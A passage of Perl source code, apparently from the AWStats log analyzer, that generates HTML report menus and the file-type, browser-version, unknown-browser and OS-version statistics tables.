10456 print( $frame? "</td></tr>\n" : " " ); 10457 } 10458 if ($linetitle) { print( $frame? "" : "</td></tr>\n" ); } 10459 10460 # Referers 10461 %menu = ( 10462 'referer' => $ShowOriginStats ? 1 : 0, 10463 'refererse' => $ShowOriginStats ? 2 : 0, 10464 'refererpages' => $ShowOriginStats ? 3 : 0, 10465 'keys' => ( $ShowKeyphrasesStats || $ShowKeywordsStats ) 10466 ? 4 10467 : 0, 10468 'keyphrases' => $ShowKeyphrasesStats ? 5 : 0, 10469 'keywords' => $ShowKeywordsStats ? 6 : 0 10470 ); 10471 %menulink = ( 10472 'referer' => 1, 10473 'refererse' => 2, 10474 'refererpages' => 2, 10475 'keys' => 1, 10476 'keyphrases' => 2, 10477 'keywords' => 2 10478 ); 10479 %menutext = ( 10480 'referer' => $Message[37], 10481 'refererse' => $Message[126], 10482 'refererpages' => $Message[127], 10483 'keys' => $Message[14], 10484 'keyphrases' => $Message[120], 10485 'keywords' => $Message[121] 10486 ); 10487 HTMLShowMenuCateg( 10488 'referers', $Message[23], 10489 'menu7.png', $frame, 10490 $targetpage, $linkanchor, 10491 $NewLinkParams, $NewLinkTarget, 10492 \%menu, \%menulink, 10493 \%menutext 10494 ); 10495 10496 # Others 10497 %menu = ( 10498 'filetypes' => ( $ShowFileTypesStats =~ /C/i ) ? 1 : 0, 10499 'misc' => $ShowMiscStats ? 2 : 0, 10500 'errors' => ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) 10501 ? 3 10502 : 0, 10503 'clusters' => $ShowClusterStats ? 5 : 0 10504 ); 10505 %menulink = ( 10506 'filetypes' => 1, 10507 'misc' => 1, 10508 'errors' => 1, 10509 'clusters' => 1 10510 ); 10511 %menutext = ( 10512 'filetypes' => $Message[98], 10513 'misc' => $Message[139], 10514 'errors' => 10515 ( $ShowSMTPErrorsStats ? $Message[147] : $Message[32] ), 10516 'clusters' => $Message[155] 10517 ); 10518 my $idx = 0; 10519 foreach ( sort keys %TrapInfosForHTTPErrorCodes ) { 10520 $menu{"errors$_"} = $ShowHTTPErrorsStats ? 4+$idx : 0; 10521 $menulink{"errors$_"} = 2; 10522 $menutext{"errors$_"} = $Message[49] . ' (' . $_ . ')'; 10523 $idx++; 10524 } 10525 HTMLShowMenuCateg( 10526 'others', $Message[2], 10527 'menu8.png', $frame, 10528 $targetpage, $linkanchor, 10529 $NewLinkParams, $NewLinkTarget, 10530 \%menu, \%menulink, 10531 \%menutext 10532 ); 10533 10534 # Extra/Marketing 10535 %menu = (); 10536 %menulink = (); 10537 %menutext = (); 10538 my $i = 1; 10539 foreach ( 1 .. @ExtraName - 1 ) { 10540 $menu{"extra$_"} = $i++; 10541 $menulink{"extra$_"} = 1; 10542 $menutext{"extra$_"} = $ExtraName[$_]; 10543 $menu{"allextra$_"} = $i++; 10544 $menulink{"allextra$_"} = 2; 10545 $menutext{"allextra$_"} = $Message[80]; 10546 } 10547 HTMLShowMenuCateg( 10548 'extra', $Message[134], 10549 '', $frame, 10550 $targetpage, $linkanchor, 10551 $NewLinkParams, $NewLinkTarget, 10552 \%menu, \%menulink, 10553 \%menutext 10554 ); 10555 print "</table>\n"; 10556 } 10557 else { 10558 10559 # Menu Applet 10560 if ($frame) { } 10561 else { } 10562 } 10563 10564 #print ($frame?"":"<br />\n"); 10565 print "<br />\n"; 10566 } 10567 10568 # Print Back link 10569 elsif ( !$HTMLOutput{'main'} ) { 10570 print "<table>\n"; 10571 $NewLinkParams =~ s/(^|&|&)hostfilter=[^&]*//i; 10572 $NewLinkParams =~ s/(^|&|&)urlfilter=[^&]*//i; 10573 $NewLinkParams =~ s/(^|&|&)refererpagesfilter=[^&]*//i; 10574 $NewLinkParams =~ s/(&|&)+/&/i; 10575 $NewLinkParams =~ s/^&//; 10576 $NewLinkParams =~ s/&$//; 10577 if ( !$DetailedReportsOnNewWindows 10578 || $FrameName eq 'mainright' 10579 || $QueryString =~ /buildpdf/i ) 10580 { 10581 print "<tr><td class=\"aws\"><a href=\"" 10582 . ( 10583 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 10584 ? XMLEncode("$AWScript${NewLinkParams}") 10585 : "$StaticLinks.$StaticExt" 10586 ) 10587 . "\">$Message[76]</a></td></tr>\n"; 10588 } 10589 else { 10590 print 10591"<tr><td class=\"aws\"><a href=\"javascript:parent.window.close();\">$Message[118]</a></td></tr>\n"; 10592 } 10593 print "</table>\n"; 10594 print "\n"; 10595 } 10596} 10597 10598#------------------------------------------------------------------------------ 10599# Function: Prints the File Type table 10600# Parameters: _ 10601# Input: $NewLinkParams, $NewLinkTargets 10602# Output: HTML 10603# Return: - 10604#------------------------------------------------------------------------------ 10605sub HTMLMainFileType{ 10606 my $NewLinkParams = shift; 10607 my $NewLinkTarget = shift; 10608 if (!$LevelForFileTypesDetection > 0){return;} 10609 if ($Debug) { debug( "ShowFileTypesStatsCompressionStats", 2 ); } 10610 print "$Center<a name=\"filetypes\"> </a><br />\n"; 10611 my $Totalh = 0; 10612 foreach ( keys %_filetypes_h ) { $Totalh += $_filetypes_h{$_}; } 10613 my $Totalk = 0; 10614 foreach ( keys %_filetypes_k ) { $Totalk += $_filetypes_k{$_}; } 10615 my $title = "$Message[73]"; 10616 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 10617 # extend the title to include the added link 10618 $title = "$title - <a href=\"" . (XMLEncode( 10619 "$AddLinkToExternalCGIWrapper" . "?section=FILETYPES&baseName=$DirData/$PROG" 10620 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 10621 . "&siteConfig=$SiteConfig" ) 10622 . "\"$NewLinkTarget>$Message[179]</a>"); 10623 } 10624 10625 if ( $ShowFileTypesStats =~ /C/i ) { $title .= " - $Message[98]"; } 10626 10627 # build keylist at top 10628 &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h, 10629 \%_filetypes_h ); 10630 10631 &tab_head( "$title", 19, 0, 'filetypes' ); 10632 10633 # Graph the top five in a pie chart 10634 if (scalar @keylist > 1){ 10635 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 10636 { 10637 my @blocklabel = (); 10638 my @valdata = (); 10639 my @valcolor = ($color_p); 10640 my $cnt = 0; 10641 foreach my $key (@keylist) { 10642 push @valdata, int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10; 10643 push @blocklabel, "$key"; 10644 $cnt++; 10645 if ($cnt > 4) { last; } 10646 } 10647 print "<tr><td colspan=\"7\">"; 10648 my $function = "ShowGraph_$pluginname"; 10649 &$function( 10650 "$Message[73]", "filetypes", 10651 0, \@blocklabel, 10652 0, \@valcolor, 10653 0, 0, 10654 0, \@valdata 10655 ); 10656 print "</td></tr>"; 10657 } 10658 } 10659 10660 print 10661"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[73]</th>"; 10662 10663 if ( $ShowFileTypesStats =~ /H/i ) { 10664 print "<th bgcolor=\"#$color_h\" width=\"80\"" 10665 . Tooltip(4) 10666 . ">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; 10667 } 10668 if ( $ShowFileTypesStats =~ /B/i ) { 10669 print "<th bgcolor=\"#$color_k\" width=\"80\"" 10670 . Tooltip(5) 10671 . ">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>"; 10672 } 10673 if ( $ShowFileTypesStats =~ /C/i ) { 10674 print 10675"<th bgcolor=\"#$color_k\" width=\"100\">$Message[100]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[101]</th><th bgcolor=\"#$color_k\" width=\"100\">$Message[99]</th>"; 10676 } 10677 print "</tr>\n"; 10678 my $total_con = 0; 10679 my $total_cre = 0; 10680 my $count = 0; 10681 foreach my $key (@keylist) { 10682 my $p_h = ' '; 10683 my $p_k = ' '; 10684 if ($Totalh) { 10685 $p_h = int( $_filetypes_h{$key} / $Totalh * 1000 ) / 10; 10686 $p_h = "$p_h %"; 10687 } 10688 if ($Totalk) { 10689 $p_k = int( $_filetypes_k{$key} / $Totalk * 1000 ) / 10; 10690 $p_k = "$p_k %"; 10691 } 10692 if ( $key eq 'Unknown' ) { 10693 print "<tr><td" 10694 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 10695 . "><img src=\"$DirIcons\/mime\/unknown.png\"" 10696 . AltTitle("") 10697 . " /></td><td class=\"aws\" colspan=\"2\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; 10698 } 10699 else { 10700 my $nameicon = $MimeHashLib{$key}[0] || "notavailable"; 10701 my $nametype = $MimeHashFamily{$MimeHashLib{$key}[0]} || " "; 10702 print "<tr><td" 10703 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 10704 . "><img src=\"$DirIcons\/mime\/$nameicon.png\"" 10705 . AltTitle("") 10706 . " /></td><td class=\"aws\">$key</td>"; 10707 print "<td class=\"aws\">$nametype</td>"; 10708 } 10709 if ( $ShowFileTypesStats =~ /H/i ) { 10710 print "<td>".Format_Number($_filetypes_h{$key})."</td><td>$p_h</td>"; 10711 } 10712 if ( $ShowFileTypesStats =~ /B/i ) { 10713 print '<td nowrap="nowrap">' 10714 . Format_Bytes( $_filetypes_k{$key} ) 10715 . "</td><td>$p_k</td>"; 10716 } 10717 if ( $ShowFileTypesStats =~ /C/i ) { 10718 if ( $_filetypes_gz_in{$key} ) { 10719 my $percent = int( 10720 100 * ( 10721 1 - $_filetypes_gz_out{$key} / 10722 $_filetypes_gz_in{$key} 10723 ) 10724 ); 10725 printf( 10726 "<td>%s</td><td>%s</td><td>%s (%s%)</td>", 10727 Format_Bytes( $_filetypes_gz_in{$key} ), 10728 Format_Bytes( $_filetypes_gz_out{$key} ), 10729 Format_Bytes( 10730 $_filetypes_gz_in{$key} - 10731 $_filetypes_gz_out{$key} 10732 ), 10733 $percent 10734 ); 10735 $total_con += $_filetypes_gz_in{$key}; 10736 $total_cre += $_filetypes_gz_out{$key}; 10737 } 10738 else { 10739 print "<td> </td><td> </td><td> </td>"; 10740 } 10741 } 10742 print "</tr>\n"; 10743 $count++; 10744 } 10745 10746 # Add total (only useful if compression is enabled) 10747 if ( $ShowFileTypesStats =~ /C/i ) { 10748 my $colspan = 3; 10749 if ( $ShowFileTypesStats =~ /H/i ) { $colspan += 2; } 10750 if ( $ShowFileTypesStats =~ /B/i ) { $colspan += 2; } 10751 print "<tr>"; 10752 print 10753"<td class=\"aws\" colspan=\"$colspan\"><b>$Message[98]</b></td>"; 10754 if ( $ShowFileTypesStats =~ /C/i ) { 10755 if ($total_con) { 10756 my $percent = 10757 int( 100 * ( 1 - $total_cre / $total_con ) ); 10758 printf( 10759 "<td>%s</td><td>%s</td><td>%s (%s%)</td>", 10760 Format_Bytes($total_con), 10761 Format_Bytes($total_cre), 10762 Format_Bytes( $total_con - $total_cre ), 10763 $percent 10764 ); 10765 } 10766 else { 10767 print "<td> </td><td> </td><td> </td>"; 10768 } 10769 } 10770 print "</tr>\n"; 10771 } 10772 &tab_end(); 10773} 10774 10775#------------------------------------------------------------------------------ 10776# Function: Prints the Browser Detail frame or static page 10777# Parameters: _ 10778# Input: _ 10779# Output: HTML 10780# Return: - 10781#------------------------------------------------------------------------------ 10782sub HTMLShowBrowserDetail{ 10783 # Show browsers versions 10784 print "$Center<a name=\"browsersversions\"> </a><br />"; 10785 my $title = "$Message[21]"; 10786 &tab_head( "$title", 19, 0, 'browsersversions' ); 10787 print 10788"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>"; 10789 print 10790"<th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; 10791 print 10792"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; 10793 print "<th> </th>"; 10794 print "</tr>\n"; 10795 my $total_h = 0; 10796 my $total_p = 0; 10797 my $count = 0; 10798 &BuildKeyList( MinimumButNoZero( scalar keys %_browser_h, 500 ), 10799 1, \%_browser_h, \%_browser_p ); 10800 my %keysinkeylist = (); 10801 my $max_h = 1; 10802 my $max_p = 1; 10803 10804 # Count total by family 10805 my %totalfamily_h = (); 10806 my %totalfamily_p = (); 10807 my $TotalFamily_h = 0; 10808 my $TotalFamily_p = 0; 10809 BROWSERLOOP: foreach my $key (@keylist) { 10810 $total_h += $_browser_h{$key}; 10811 if ( $_browser_h{$key} > $max_h ) { 10812 $max_h = $_browser_h{$key}; 10813 } 10814 $total_p += $_browser_p{$key}; 10815 if ( $_browser_p{$key} > $max_p ) { 10816 $max_p = $_browser_p{$key}; 10817 } 10818 foreach my $family ( keys %BrowsersFamily ) { 10819 if ( $key =~ /^$family/i ) { 10820 $totalfamily_h{$family} += $_browser_h{$key}; 10821 $totalfamily_p{$family} += $_browser_p{$key}; 10822 $TotalFamily_h += $_browser_h{$key}; 10823 $TotalFamily_p += $_browser_p{$key}; 10824 next BROWSERLOOP; 10825 } 10826 } 10827 } 10828 10829 # Write records grouped in a browser family 10830 foreach my $family ( 10831 sort { $BrowsersFamily{$a} <=> $BrowsersFamily{$b} } 10832 keys %BrowsersFamily 10833 ) 10834 { 10835 my $p_h = ' '; 10836 my $p_p = ' '; 10837 if ($total_h) { 10838 $p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10; 10839 $p_h = "$p_h %"; 10840 } 10841 if ($total_p) { 10842 $p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10; 10843 $p_p = "$p_p %"; 10844 } 10845 my $familyheadershown = 0; 10846 10847 #foreach my $key ( reverse sort keys %_browser_h ) { 10848 foreach my $key ( reverse sort SortBrowsers keys %_browser_h ) { 10849 if ( $key =~ /^$family(.*)/i ) { 10850 if ( !$familyheadershown ) { 10851 print 10852"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>" 10853 . uc($family) 10854 . "</b></td>"; 10855 print "<td> </td><td><b>" 10856 . Format_Number(int( $totalfamily_p{$family} )) 10857 . "</b></td><td><b>$p_p</b></td>"; 10858 print "<td><b>" 10859 . Format_Number(int( $totalfamily_h{$family} )) 10860 . "</b></td><td><b>$p_h</b></td><td> </td>"; 10861 print "</tr>\n"; 10862 $familyheadershown = 1; 10863 } 10864 $keysinkeylist{$key} = 1; 10865 my $ver = $1; 10866 my $p_h = ' '; 10867 my $p_p = ' '; 10868 if ($total_h) { 10869 $p_h = 10870 int( $_browser_h{$key} / $total_h * 1000 ) / 10; 10871 $p_h = "$p_h %"; 10872 } 10873 if ($total_p) { 10874 $p_p = 10875 int( $_browser_p{$key} / $total_p * 1000 ) / 10; 10876 $p_p = "$p_p %"; 10877 } 10878 print "<tr>"; 10879 print "<td" 10880 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 10881 . "><img src=\"$DirIcons\/browser\/$family.png\"" 10882 . AltTitle("") 10883 . " /></td>"; 10884 print "<td class=\"aws\">" 10885 . ucfirst($family) . " " 10886 . ( $ver ? "$ver" : "?" ) . "</td>"; 10887 print "<td>" 10888 . ( 10889 $BrowsersHereAreGrabbers{$family} 10890 ? "<b>$Message[112]</b>" 10891 : "$Message[113]" 10892 ) 10893 . "</td>"; 10894 my $bredde_h = 0; 10895 my $bredde_p = 0; 10896 if ( $max_h > 0 ) { 10897 $bredde_h = 10898 int( $BarWidth * ( $_browser_h{$key} || 0 ) / 10899 $max_h ) + 1; 10900 } 10901 if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) { 10902 $bredde_h = 2; 10903 } 10904 if ( $max_p > 0 ) { 10905 $bredde_p = 10906 int( $BarWidth * ( $_browser_p{$key} || 0 ) / 10907 $max_p ) + 1; 10908 } 10909 if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) { 10910 $bredde_p = 2; 10911 } 10912 print "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>"; 10913 print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>"; 10914 print "<td class=\"aws\">"; 10915 10916 # alt and title are not provided to reduce page size 10917 if ($ShowBrowsersStats) { 10918 print 10919"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; 10920 print 10921"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; 10922 } 10923 print "</td>"; 10924 print "</tr>\n"; 10925 $count++; 10926 } 10927 } 10928 } 10929 10930 # Write other records 10931 my $familyheadershown = 0; 10932 foreach my $key (@keylist) { 10933 if ( $keysinkeylist{$key} ) { next; } 10934 if ( !$familyheadershown ) { 10935 my $p_h = ' '; 10936 my $p_p = ' '; 10937 if ($total_p) { 10938 $p_p = 10939 int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) / 10940 10; 10941 $p_p = "$p_p %"; 10942 } 10943 if ($total_h) { 10944 $p_h = 10945 int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) / 10946 10; 10947 $p_h = "$p_h %"; 10948 } 10949 print 10950"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>"; 10951 print "<td> </td><td><b>" 10952 . Format_Number(( $total_p - $TotalFamily_p )) 10953 . "</b></td><td><b>$p_p</b></td>"; 10954 print "<td><b>" 10955 . Format_Number(( $total_h - $TotalFamily_h )) 10956 . "</b></td><td><b>$p_h</b></td><td> </td>"; 10957 print "</tr>\n"; 10958 $familyheadershown = 1; 10959 } 10960 my $p_h = ' '; 10961 my $p_p = ' '; 10962 if ($total_h) { 10963 $p_h = int( $_browser_h{$key} / $total_h * 1000 ) / 10; 10964 $p_h = "$p_h %"; 10965 } 10966 if ($total_p) { 10967 $p_p = int( $_browser_p{$key} / $total_p * 1000 ) / 10; 10968 $p_p = "$p_p %"; 10969 } 10970 print "<tr>"; 10971 if ( $key eq 'Unknown' ) { 10972 print "<td" 10973 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 10974 . "><img src=\"$DirIcons\/browser\/unknown.png\"" 10975 . AltTitle("") 10976 . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>"; 10977 } 10978 else { 10979 my $keywithoutcumul = $key; 10980 $keywithoutcumul =~ s/cumul$//i; 10981 my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul} 10982 || $keywithoutcumul; 10983 my $nameicon = $BrowsersHashIcon{$keywithoutcumul} 10984 || "notavailable"; 10985 print "<td" 10986 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 10987 . "><img src=\"$DirIcons\/browser\/$nameicon.png\"" 10988 . AltTitle("") 10989 . " /></td><td class=\"aws\">$libbrowser</td><td>" 10990 . ( 10991 $BrowsersHereAreGrabbers{$key} 10992 ? "<b>$Message[112]</b>" 10993 : "$Message[113]" 10994 ) 10995 . "</td>"; 10996 } 10997 my $bredde_h = 0; 10998 my $bredde_p = 0; 10999 if ( $max_h > 0 ) { 11000 $bredde_h = 11001 int( $BarWidth * ( $_browser_h{$key} || 0 ) / $max_h ) + 11002 1; 11003 } 11004 if ( $max_p > 0 ) { 11005 $bredde_p = 11006 int( $BarWidth * ( $_browser_p{$key} || 0 ) / $max_p ) + 11007 1; 11008 } 11009 if ( ( $bredde_h == 1 ) && $_browser_h{$key} ) { 11010 $bredde_h = 2; 11011 } 11012 if ( ( $bredde_p == 1 ) && $_browser_p{$key} ) { 11013 $bredde_p = 2; 11014 } 11015 print "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>"; 11016 print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>"; 11017 print "<td class=\"aws\">"; 11018 11019 # alt and title are not provided to reduce page size 11020 if ($ShowBrowsersStats) { 11021 print 11022"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; 11023 print 11024"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; 11025 } 11026 print "</td>"; 11027 print "</tr>\n"; 11028 } 11029 &tab_end(); 11030 &html_end(1); 11031} 11032 11033#------------------------------------------------------------------------------ 11034# Function: Prints the Unknown Browser Detail frame or static page 11035# Parameters: $NewLinkTarget 11036# Input: _ 11037# Output: HTML 11038# Return: - 11039#------------------------------------------------------------------------------ 11040sub HTMLShowBrowserUnknown{ 11041 my $NewLinkTarget = shift; 11042 print "$Center<a name=\"unknownbrowser\"> </a><br />\n"; 11043 my $title = "$Message[50]"; 11044 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 11045 # extend the title to include the added link 11046 $title = "$title - <a href=\"" . (XMLEncode( 11047 "$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERERBROWSER&baseName=$DirData/$PROG" 11048 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 11049 . "&siteConfig=$SiteConfig" ) 11050 . "\"$NewLinkTarget>$Message[179]</a>"); 11051 } 11052 &tab_head( "$title", 19, 0, 'unknownbrowser' ); 11053 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent (" 11054 . ( scalar keys %_unknownrefererbrowser_l ) 11055 . ")</th><th>$Message[9]</th></tr>\n"; 11056 my $total_l = 0; 11057 my $count = 0; 11058 &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l, 11059 \%_unknownrefererbrowser_l ); 11060 foreach my $key (@keylist) { 11061 my $useragent = XMLEncode( CleanXSS($key) ); 11062 print 11063 "<tr><td class=\"aws\">$useragent</td><td nowrap=\"nowrap\">" 11064 . Format_Date( $_unknownrefererbrowser_l{$key}, 1 ) 11065 . "</td></tr>\n"; 11066 $total_l += 1; 11067 $count++; 11068 } 11069 my $rest_l = ( scalar keys %_unknownrefererbrowser_l ) - $total_l; 11070 if ( $rest_l > 0 ) { 11071 print 11072"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 11073 print "<td>-</td>"; 11074 print "</tr>\n"; 11075 } 11076 &tab_end(); 11077 &html_end(1); 11078} 11079 11080#------------------------------------------------------------------------------ 11081# Function: Prints the OS Detail frame or static page 11082# Parameters: _ 11083# Input: _ 11084# Output: HTML 11085# Return: - 11086#------------------------------------------------------------------------------ 11087sub HTMLShowOSDetail{ 11088 # Show os versions 11089 print "$Center<a name=\"osversions\"> </a><br />"; 11090 my $title = "$Message[59]"; 11091 &tab_head( "$title", 19, 0, 'osversions' ); 11092 print 11093"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>"; 11094 print 11095"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; 11096 print 11097"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; 11098 print "</tr>\n"; 11099 my $total_h = 0; 11100 my $total_p = 0; 11101 my $count = 0; 11102 &BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ), 11103 1, \%_os_h, \%_os_p ); 11104 my %keysinkeylist = (); 11105 my $max_h = 1; 11106 my $max_p = 1; 11107 11108 # Count total by family 11109 my %totalfamily_h = (); 11110 my %totalfamily_p = (); 11111 my $TotalFamily_h = 0; 11112 my $TotalFamily_p = 0; 11113 OSLOOP: foreach my $key (@keylist) { 11114 $total_h += $_os_h{$key}; 11115 $total_p += $_os_p{$key}; 11116 if ( $_os_h{$key} > $max_h ) { $max_h = $_os_h{$key}; } 11117 if ( $_os_p{$key} > $max_p ) { $max_p = $_os_p{$key}; } 11118 foreach my $family ( keys %OSFamily ) { 11119 if ( $key =~ /^$family/i ) { 11120 $totalfamily_h{$family} += $_os_h{$key}; 11121 $totalfamily_p{$family} += $_os_p{$key}; 11122 $TotalFamily_h += $_os_h{$key}; 11123 $TotalFamily_p += $_os_p{$key}; 11124 next OSLOOP; 11125 } 11126 } 11127 } 11128 11129 # Write records grouped in a browser family 11130 foreach my $family ( keys %OSFamily ) { 11131 my $p_h = ' '; 11132 my $p_p = ' '; 11133 if ($total_h) { 11134 $p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10; 11135 $p_h = "$p_h %"; 11136 } 11137 if ($total_p) { 11138 $p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10; 11139 $p_p = "$p_p %"; 11140 } 11141 my $familyheadershown = 0; 11142 foreach my $key ( reverse sort keys %_os_h ) { 11143 if ( $key =~ /^$family(.*)/i ) { 11144 if ( !$familyheadershown ) { 11145 my $family_name = ''; 11146 if ( $OSFamily{$family} ) { 11147 $family_name = $OSFamily{$family}; 11148 } 11149 print 11150"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>"; 11151 print "<td><b>" 11152 . Format_Number(int( $totalfamily_p{$family} )) 11153 . "</b></td><td><b>$p_p</b></td>"; 11154 print "<td><b>" 11155 . Format_Number(int( $totalfamily_h{$family} )) 11156 . "</b></td><td><b>$p_h</b></td><td> </td>"; 11157 print "</tr>\n"; 11158 $familyheadershown = 1; 11159 } 11160 $keysinkeylist{$key} = 1; 11161 my $ver = $1; 11162 my $p_h = ' '; 11163 my $p_p = ' '; 11164 if ($total_h) { 11165 $p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10; 11166 $p_h = "$p_h %"; 11167 } 11168 if ($total_p) { 11169 $p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10; 11170 $p_p = "$p_p %"; 11171 } 11172 print "<tr>"; 11173 print "<td" 11174 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 11175 . "><img src=\"$DirIcons\/os\/$key.png\"" 11176 . AltTitle("") 11177 . " /></td>"; 11178 11179 print "<td class=\"aws\">$OSHashLib{$key}</td>"; 11180 my $bredde_h = 0; 11181 my $bredde_p = 0; 11182 if ( $max_h > 0 ) { 11183 $bredde_h = 11184 int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) 11185 + 1; 11186 } 11187 if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { 11188 $bredde_h = 2; 11189 } 11190 if ( $max_p > 0 ) { 11191 $bredde_p = 11192 int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p ) 11193 + 1; 11194 } 11195 if ( ( $bredde_p == 1 ) && $_os_p{$key} ) { 11196 $bredde_p = 2; 11197 } 11198 print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>"; 11199 print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>"; 11200 print "<td class=\"aws\">"; 11201 11202 # alt and title are not provided to reduce page size 11203 if ($ShowOSStats) { 11204 print 11205"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; 11206 print 11207"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; 11208 } 11209 print "</td>"; 11210 print "</tr>\n"; 11211 $count++; 11212 } 11213 } 11214 } 11215 11216 # Write other records 11217 my $familyheadershown = 0; 11218 foreach my $key (@keylist) { 11219 if ( $keysinkeylist{$key} ) { next; } 11220 if ( !$familyheadershown ) { 11221 my $p_h = ' '; 11222 my $p_p = ' '; 11223 if ($total_h) { 11224 $p_h = 11225 int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) / 11226 10; 11227 $p_h = "$p_h %"; 11228 } 11229 if ($total_p) { 11230 $p_p = 11231 int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) / 11232 10; 11233 $p_p = "$p_p %"; 11234 } 11235 print 11236"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>"; 11237 print "<td><b>" 11238 . Format_Number(( $total_p - $TotalFamily_p )) 11239 . "</b></td><td><b>$p_p</b></td>"; 11240 print "<td><b>" 11241 . Format_Number(( $total_h - $TotalFamily_h )) 11242 . "</b></td><td><b>$p_h</b></td><td> </td>"; 11243 print "</tr>\n"; 11244 $familyheadershown = 1; 11245 } 11246 my $p_h = ' '; 11247 my $p_p = ' '; 11248 if ($total_h) { 11249 $p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10; 11250 $p_h = "$p_h %"; 11251 } 11252 if ($total_p) { 11253 $p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10; 11254 $p_p = "$p_p %"; 11255 } 11256 print "<tr>"; 11257 if ( $key eq 'Unknown' ) { 11258 print "<td" 11259 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 11260 . "><img src=\"$DirIcons\/browser\/unknown.png\"" 11261 . AltTitle("") 11262 . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; 11263 } 11264 else { 11265 my $keywithoutcumul = $key; 11266 $keywithoutcumul =~ s/cumul$//i; 11267 my $libos = $OSHashLib{$keywithoutcumul} 11268 || $keywithoutcumul; 11269 my $nameicon = $keywithoutcumul; 11270 $nameicon =~ s/[^\w]//g; 11271 print "<td" 11272 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 11273 . "><img src=\"$DirIcons\/os\/$nameicon.png\"" 11274 . AltTitle("") 11275 . " /></td><td class=\"aws\">$libos</td>"; 11276 } 11277 my $bredde_h = 0; 11278 my $bredde_p = 0; 11279 if ( $max_h > 0 ) { 11280 $bredde_h = 11281 int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1; 11282 } 11283 if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; } 